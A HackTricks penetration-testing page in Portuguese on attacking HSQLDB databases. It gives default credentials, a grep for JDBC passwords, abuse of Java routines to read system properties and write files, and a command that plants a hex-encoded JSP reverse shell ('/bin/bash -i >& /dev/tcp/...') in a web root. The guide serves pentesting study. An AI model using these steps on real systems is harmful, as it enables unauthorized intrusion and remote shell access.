tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informações Básicas

HSQLDB (HyperSQL DataBase) é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithreaded e transacional com tabelas em memória e baseadas em disco, e suporta modos embutido e servidor.

Porta padrão: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Informação

Configurações Padrão

Observe que, por padrão, este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios.

As credenciais padrão geralmente são sa com uma senha em branco.

Se você explorou outro serviço, procure possíveis credenciais usando

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Note o nome do banco de dados com atenção - você precisará dele para se conectar.

Coleta de Informações

Conecte-se à instância do DB baixando HSQLDB e extraindo hsqldb/lib/hsqldb.jar. Execute o aplicativo GUI (eww) usando java -jar hsqldb.jar e conecte-se à instância usando as credenciais descobertas/fracas.

Note que a URL de conexão terá uma aparência semelhante a esta para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME.

Truques

Rotinas da Linguagem Java

Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas da Linguagem Java. Observe que a classe chamada precisa estar no classpath da aplicação.

JRTs podem ser funções ou procedimentos. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primárias compatíveis com SQL. Elas são invocadas usando a instrução VALUES.

Se o método Java que queremos chamar retornar void, precisamos usar um procedimento invocado com a instrução CALL.

Lendo Propriedades do Sistema Java

Crie a função:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Executar função:

text
VALUES(getsystemproperty('user.name'))

Você pode encontrar uma lista de propriedades do sistema aqui.

Escrever Conteúdo em Arquivo

Você pode usar o com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename gadget Java localizado no JDK (carregado automaticamente no class path da aplicação) para escrever itens codificados em hex no disco através de um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.

Criar procedimento:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Executar procedimento:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks